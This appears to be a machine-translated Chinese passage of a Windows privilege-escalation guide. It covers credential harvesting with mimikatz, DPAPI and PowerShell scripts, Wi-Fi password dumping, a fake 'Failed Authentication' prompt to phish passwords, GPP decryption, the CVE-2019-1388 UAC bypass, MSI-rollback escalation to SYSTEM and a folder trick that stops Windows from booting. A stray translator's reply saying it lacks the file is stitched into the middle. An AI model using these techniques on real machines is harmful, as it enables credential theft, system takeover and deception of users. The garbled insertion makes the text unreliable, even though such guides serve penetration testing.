DPAPI 使得通过从用户登录秘密派生的对称密钥来加密密钥成为可能。在涉及系统加密的场景中,它使用系统的域身份验证秘密。
使用 DPAPI 加密的用户 RSA 密钥存放在 %APPDATA%\Microsoft\Protect\{SID} 目录中,其中 {SID} 表示用户的 Security Identifier。DPAPI 密钥与用于保护用户私钥的主密钥共同存放在同一文件中,通常由 64 字节的随机数据构成。(需要注意的是,对该目录的访问受到限制,无法通过 CMD 中的 dir 命令列出其内容,但可以通过 PowerShell 列出。)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
你可以使用 mimikatz module dpapi::masterkey 并带上适当的参数(/pvk 或 /rpc)来解密它。
这些 credentials files protected by the master password 通常位于:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
你可以使用 mimikatz module dpapi::cred 和适当的 /masterkey 来解密。
你可以使用 sekurlsa::dpapi module 从 memory 中 extract many DPAPI masterkeys(如果你是 root)。
PowerShell Credentials
PowerShell credentials 常用于脚本和自动化任务,作为一种方便地存储加密凭据的方法。凭据由 DPAPI 保护,这通常意味着它们只能由创建它们的同一用户在同一台计算机上解密。
要从包含 PS credentials 的文件中 decrypt,你可以这样做:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
已保存的 RDP 连接
你可以在以下位置找到它们:HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
以及 HKCU\Software\Microsoft\Terminal Server Client\Servers\
最近运行的命令
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
远程桌面凭证管理器
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
使用 Mimikatz 的 dpapi::rdg 模块并提供适当的 /masterkey 来 解密任何 .rdg 文件
您可以使用 Mimikatz 的 sekurlsa::dpapi 模块从内存中提取许多 DPAPI 主密钥
Sticky Notes
人们常在 Windows 工作站上使用 StickyNotes 应用来保存密码及其他信息,而不知道它实际上是一个数据库文件。该文件位于 C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite,值得查找并检查。
AppCmd.exe
注意:要从 AppCmd.exe 恢复密码,你需要是管理员并在高完整性级别下运行。
AppCmd.exe 位于 %systemroot%\system32\inetsrv\ 目录。
如果此文件存在,则可能已配置了一些凭据,并且可以被恢复。
此代码摘自 PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
检查 C:\Windows\CCM\SCClient.exe 是否存在 .
安装程序 以 SYSTEM privileges 运行, 许多易受 DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
文件和注册表(凭证)
Putty 凭证
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH 主机密钥
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
注册表中的 SSH 密钥
SSH 私钥可以存储在注册表项 HKCU\Software\OpenSSH\Agent\Keys 中,因此你应当检查那里是否有任何有趣的内容:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
如果你在该路径中找到任何条目,它很可能是一个保存的 SSH 密钥。它以加密方式存储,但可以使用 https://github.com/ropnop/windows_sshagent_extract.
该技术的更多信息在此: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
如果 ssh-agent 服务未运行且你想让它在启动时自动启动,请运行:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
看起来这个技术不再有效。我尝试创建了一些 ssh keys,用
ssh-add添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 也没有识别在非对称密钥认证期间使用dpapi.dll。
无人值守的文件
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
你也可以使用 metasploit 搜索这些文件:post/windows/gather/enum_unattend
示例内容:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM 备份
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
云凭证
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
查找名为 SiteList.xml 的文件
缓存的 GPP 密码
以前有一个功能允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员帐户。然而,这种方法存在严重的安全缺陷。首先,存储在 SYSVOL 中的 Group Policy Objects (GPOs) 以 XML 文件形式存在,任何域用户都可以访问。其次,这些 GPP 中的密码使用 AES256 并以公开文档化的默认密钥加密,任何已认证的用户都可以解密。这带来了严重风险,因为这可能允许用户获取提升的权限。
为降低此风险,开发了一个函数用于扫描本地缓存的包含非空 “cpassword” 字段的 GPP 文件。发现此类文件后,该函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 及其文件位置的详细信息,便于识别和修复该安全漏洞。
在 C:\ProgramData\Microsoft\Group Policy\history 或在 C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) 中搜索这些文件:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
要解密 cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
使用 crackmapexec 获取密码:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web 配置
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
包含凭据的 web.config 示例:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN 凭证
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
日志
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
请求 credentials
你可以随时要求用户输入他的credentials,甚至其他用户的credentials,如果你认为他可能知道它们(注意直接向目标用户询问其credentials是非常危险的):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
可能包含 credentials 的文件名
已知曾在某段时间包含 passwords(以 clear-text 或 Base64)的文件
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
我没有该文件的内容。请把 src/windows-hardening/windows-local-privilege-escalation/README.md(或所有要翻译的文件)的文本粘贴到这里,或授权提供内容后我会把其中的英文按你要求翻译成中文,并保留原有的 markdown、标签、链接和路径不变。
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
回收站中的凭据
你也应该检查回收站以查找其中的凭据
要恢复由多个程序保存的密码,你可以使用: http://www.nirsoft.net/password_recovery_tools.html
注册表中
其他可能包含凭据的注册表键
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
浏览器历史
你应该检查存放 Chrome 或 Firefox 密码的 dbs。
还要检查浏览器的历史、书签和收藏夹,因为有些 密码可能 存储在那里。
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL 覆写
Component Object Model (COM) 是 Windows 操作系统内置的一项技术,允许不同语言的软件组件之间进行 互相通信。每个 COM 组件由 class ID (CLSID) 标识,组件通过一个或多个接口(由 interface ID (IID) 标识)暴露功能。
COM 类和接口在注册表中分别定义于 HKEY\CLASSES\ROOT\CLSID 和 HKEY\CLASSES\ROOT\Interface。该注册表是通过合并 HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT 创建的。
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (单线程), Free (多线程), Both (单线程或多线程) or Neutral (线程中立).
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基本上,如果你能 覆写任何将被执行的 DLL,当该 DLL 由不同用户执行时,你就可能 提升权限。
To learn how attackers use COM Hijacking as a persistence mechanism check:
在文件和注册表中通用的密码搜索
搜索文件内容
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
搜索具有特定文件名的文件
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
在注册表中搜索键名和密码
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
搜索密码的工具
MSF-Credentials Plugin is a msf 插件。我创建这个插件来 automatically execute every metasploit POST module that searches for credentials 在受害者主机内。
Winpeas 会自动搜索本页中提到的所有包含 passwords 的文件。
Lazagne 是另一个很棒的工具,用于从系统中提取 password。
工具 SessionGopher 会搜索若干保存此类数据为明文的工具的 sessions, usernames and passwords (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Shared memory segments, referred to as pipes, enable process communication and data transfer.
Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.
When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a privileged process that communicates via a pipe you can mimic provides an opportunity to gain higher privileges by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.
Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer
杂项
可能在 Windows 中执行代码的文件扩展名
Check out the page https://filesec.io/
监控命令行以捕获密码
When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
从进程窃取密码
从低权限用户提升到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 绕过
如果你可以访问图形界面(通过 console 或 RDP),且启用了 UAC,在某些 Microsoft Windows 版本中,非特权用户可以以 “NT\AUTHORITY SYSTEM” 的身份运行终端或任何其他进程。
这使得可以利用相同的漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程使用的二进制文件是由 Microsoft 签名并发布的。
受影响的一些系统包括:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
要利用此漏洞,需要执行以下步骤:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
从 Administrator Medium 到 High Integrity Level / UAC Bypass
阅读此文以了解完整性级别:
然后阅读此文以了解 UAC 和 UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
The technique described in this blog post with a exploit code available here.
该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个恶意 .msi 安装程序,用于劫持 C:\Config.Msi 文件夹,该文件夹随后会被 Windows Installer 用来在卸载其他 MSI 包时存放 rollback 文件,而这些 rollback 文件会被修改以包含恶意负载。
该技术总结如下:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msiempty)
-
Step 1: Install the MSI
-
Create an
.msithat installs a harmless file (e.g.,dummy.txt) in a writable folder (TARGETDIR). -
Mark the installer as “UAC Compliant”, so a non-admin user can run it.
-
Keep a handle open to the file after install.
-
Step 2: Begin Uninstall
-
Uninstall the same
.msi. -
The uninstall process starts moving files to
C:\Config.Msiand renaming them to.rbffiles (rollback backups). -
Poll the open file handle using
GetFinalPathNameByHandleto detect when the file becomesC:\Config.Msi\<random>.rbf. -
Step 3: Custom Syncing
-
The
.msiincludes a custom uninstall action (SyncOnRbfWritten) that: -
Signals when
.rbfhas been written. -
Then waits on another event before continuing the uninstall.
-
Step 4: Block Deletion of
.rbf -
When signaled, open the
.rbffile withoutFILE_SHARE_DELETE— this prevents it from being deleted. -
Then signal back so the uninstall can finish.
-
Windows Installer fails to delete the
.rbf, and because it can’t delete all contents,C:\Config.Msiis not removed. -
Step 5: Manually Delete
.rbf -
You (attacker) delete the
.rbffile manually. -
Now
C:\Config.Msiis empty, ready to be hijacked.
At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete
C:\Config.Msi.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msiwith Weak ACLs -
Recreate the
C:\Config.Msifolder yourself. -
Set weak DACLs (e.g., Everyone:F), and keep a handle open with
WRITE_DAC. -
Step 7: Run Another Install
-
Install the
.msiagain, with: -
TARGETDIR: Writable location. -
ERROROUT: A variable that triggers a forced failure. -
This install will be used to trigger rollback again, which reads
.rbsand.rbf. -
Step 8: Monitor for
.rbs -
Use
ReadDirectoryChangesWto monitorC:\Config.Msiuntil a new.rbsappears. -
Capture its filename.
-
Step 9: Sync Before Rollback
-
The
.msicontains a custom install action (SyncBeforeRollback) that: -
Signals an event when the
.rbsis created. -
Then waits before continuing.
-
Step 10: Reapply Weak ACL
-
After receiving the
.rbs createdevent: -
The Windows Installer reapplies strong ACLs to
C:\Config.Msi. -
But since you still have a handle with
WRITE_DAC, you can reapply weak ACLs again.
ACLs are only enforced on handle open, so you can still write to the folder.
-
Step 11: Drop Fake
.rbsand.rbf -
Overwrite the
.rbsfile with a fake rollback script that tells Windows to: -
Restore your
.rbffile (malicious DLL) into a privileged location (e.g.,C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Drop your fake
.rbfcontaining a malicious SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signal the sync event so the installer resumes.
-
A type 19 custom action (
ErrorOut) is configured to intentionally fail the install at a known point. -
This causes rollback to begin.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Reads your malicious
.rbs. -
Copies your
.rbfDLL into the target location. -
You now have your malicious DLL in a SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Run a trusted auto-elevated binary (e.g.,
osk.exe) that loads the DLL you hijacked. -
Boom: Your code is executed as SYSTEM.
From Arbitrary File Delete/Move/Rename to SYSTEM EoP
The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?
You could exploit NTFS internals: every folder has a hidden alternate data stream called:
C:\SomeFolder::$INDEX_ALLOCATION
该流存储该文件夹的索引元数据。
因此,如果你删除文件夹的::$INDEX_ALLOCATION流,NTFS会从文件系统中移除整个文件夹。
你可以使用标准的文件删除 API,例如:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
即使你调用的是 file delete API,它 删除了文件夹本身。
从 Folder Contents Delete 到 SYSTEM EoP
如果你的 primitive 不允许你删除任意文件/文件夹,但它允许删除攻击者控制的文件夹的 contents?
- 第一步:设置诱饵文件夹和文件
- 创建:
C:\temp\folder1 - 在其中:
C:\temp\folder1\file1.txt
- 第二步:在
file1.txt上放置一个 oplock
- 该 oplock 暂停执行 当具有特权的进程尝试删除
file1.txt时。
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- 第3步:触发 SYSTEM 进程(例如,
SilentCleanup)
- 该进程扫描文件夹(例如,
%TEMP%)并尝试删除其内容。 - 当它到达
file1.txt时,oplock 触发 并将控制权交给你的 callback。
- 第4步:在 oplock callback 内部 – 重定向删除操作
-
选项 A:将
file1.txt移到其他位置 -
这会在不提前释放 oplock 的情况下清空
folder1。 -
不要直接删除
file1.txt—— 那样会过早释放 oplock。 -
选项 B:将
folder1转换为 junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- 选项 C: 在
\RPC Control创建一个 symlink:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
这针对存储文件夹元数据的 NTFS 内部流 — 删除它会删除该文件夹。
- 第 5 步:释放 oplock
- SYSTEM 进程继续并尝试删除
file1.txt。 - 但现在,由于 junction + symlink,它实际上在删除:
C:\Config.Msi::$INDEX_ALLOCATION
结果: C:\Config.Msi 被 SYSTEM 删除。
从 Arbitrary Folder Create 到 Permanent DoS
利用一个原语,让你能够 create an arbitrary folder as SYSTEM/admin — 即便 无法写入文件 或 无法设置弱权限。
创建一个文件夹(不是文件),其名称为关键 Windows 驱动程序,例如:
C:\Windows\System32\cng.sys
- 这个路径通常对应于
cng.sys内核模式驱动程序。 - 如果你预先将其创建为文件夹,Windows 在启动时无法加载实际的驱动程序。
- 然后,Windows 在启动过程中尝试加载
cng.sys。 - 它看到该文件夹,无法解析出实际的驱动程序,并且导致崩溃或启动停止。
- 没有回退机制,在没有外部干预(例如启动修复或磁盘访问)的情况下无法恢复。
从 High Integrity 到 SYSTEM
新服务
如果你已经在 High Integrity 进程上运行,通往 SYSTEM 的路径 可以很简单,只需 创建并执行一个新服务:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
在创建服务二进制文件时,确保它是一个有效的服务,或者二进制能够执行必要的动作,否则如果不是有效的服务,它会在 20 秒内被终止。
AlwaysInstallElevated
从高完整性(High Integrity)进程你可以尝试 启用 AlwaysInstallElevated 注册表项 并使用一个 .msi 包装器 安装 一个 reverse shell。
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
You can find the code here.
From SeDebug + SeImpersonate to Full Token privileges
如果你拥有那些 token 权限(通常在已经是高完整性进程中会发现),你将能够使用 SeDebug 权限 打开几乎任何进程(非受保护进程),复制该进程的 token,并用该 token 创建 任意进程。
使用此技术通常会 选择任何以 SYSTEM 运行并拥有所有 token 权限的进程(是的,你可以找到没有所有 token 权限的 SYSTEM 进程)。
You can find an example of code executing the proposed technique here.
Named Pipes
This technique is used by meterpreter to escalate in getsystem. The technique consists on creating a pipe and then create/abuse a service to write on that pipe. Then, the server that created the pipe using the SeImpersonate privilege will be able to impersonate the token of the pipe client (the service) obtaining SYSTEM privileges.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
如果你能够 劫持被以 SYSTEM 身份运行的进程加载的 dll,你将能够以这些权限执行任意代码。因此 Dll Hijacking 对此类提权也非常有用,而且从高完整性进程实现起来要 容易得多,因为高完整性进程对用于加载 dll 的文件夹通常具有 写权限。
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
阅读: https://github.com/itm4n/FullPowers
更多帮助
有用的工具
Best tool to look for Windows local privilege escalation vectors: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – 检查配置错误和敏感文件(check here)。Detected.
JAWS – 检查一些可能的配置错误并收集信息(check here)。
privesc – 检查配置错误
SessionGopher – 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 保存的会话信息。本地使用时加上 -Thorough。
Invoke-WCMDump – 从 Credential Manager 中提取凭据。Detected.
DomainPasswordSpray – 将收集到的密码在域内进行密码喷洒
Inveigh – Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。
